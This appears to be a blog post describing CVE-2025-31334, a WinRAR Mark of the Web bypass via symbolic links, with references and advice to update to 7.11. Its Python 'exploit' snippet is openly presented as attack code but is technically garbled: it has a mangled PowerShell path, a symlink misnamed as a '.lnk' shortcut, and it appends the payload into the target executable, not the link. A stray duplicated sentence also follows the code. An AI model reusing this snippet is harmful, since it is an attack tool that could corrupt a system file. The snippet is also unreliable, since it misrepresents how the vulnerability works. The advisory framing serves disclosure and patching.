A newly discovered vulnerability (CVE-2025-31334) has been identified in WinRAR versions prior to 7.11. This flaw allows an attacker to bypass the "Mark of the Web" security warning when opening a symbolic link that points to an executable file. As a result, arbitrary code may be executed, posing a significant security risk to affected users.

In this blog post, we will provide an overview of the vulnerability, including its exploit details and a code snippet demonstrating the issue. We will also provide links to original references and provide guidance on how to update your WinRAR software to mitigate the vulnerability.

Vulnerability Overview

The "Mark of the Web" (MOTW) is a security feature in Windows operating systems that displays a warning message when users attempt to open downloaded files or files that come from potentially unsafe locations. This warning helps protect users from inadvertently executing malicious files.

In WinRAR versions prior to 7.11, a vulnerability exists that allows attackers to bypass the MOTW security warning feature when opening a symbolic link that points to an executable file. This can happen if an attacker creates a specially crafted symbolic link, and the affected user opens it using the vulnerable WinRAR software. Once the symbolic link is opened, arbitrary code may be executed on the victim's machine, potentially leading to unauthorized access or even complete system compromise.

Code Snippet

Below is a code snippet demonstrating how an attacker could create a symbolic link that triggers the vulnerability:

import os
import tempfile

target_exe = "C:\\Windows\\System32\\WindowsPowerShell\\v1.\\powershell.exe"
payload = "Start-Process Calc.exe"  # Arbitrary payload command to execute

# Create a temporary directory
temp_dir = tempfile.mkdtemp(prefix='winrar_exploit_')

# Create a symbolic link in the temporary directory
symlink_path = os.path.join(temp_dir, 'malicious.lnk')
os.symlink(target_exe, symlink_path)

# Append the payload command to the symbolic link
with open(symlink_path, 'a') as f:
    f.write(payload)

# Zip the malicious symlink
os.system(f'winrar a -afzip -r -ep1 exploit.zip {temp_dir}')

# Clean up the temporary directory
os.system(f'rd /s /q {temp_dir}')

Clean up the temporary directory.

After the archive containing the malicious symlink is sent to an unsuspecting user and this user extracts the archive using a vulnerable WinRAR version, the arbitrary code (in this case, opening the calculator) will execute without causing the MOTW security warning.

Original References

The vulnerability has been assigned the CVE identifier CVE-2025-31334 and is documented in the following references:

- NVD - CVE-2025-31334
- WinRAR Security Advisory - CVE-2025-31334

Mitigation: Update WinRAR to Version 7.11 or Higher

To protect yourself from this vulnerability, ensure that you are using WinRAR version 7.11 or higher. You can download the latest version of WinRAR from the official website:

WinRAR Download Page

Remember, keeping your software up-to-date is essential to maintaining a secure computing environment. Vulnerabilities like CVE-2025-31334 demonstrate the importance of regularly updating your applications and being cautious when opening files from unfamiliar sources.

Timeline

Published on: 04/03/2025 06:15:42 UTC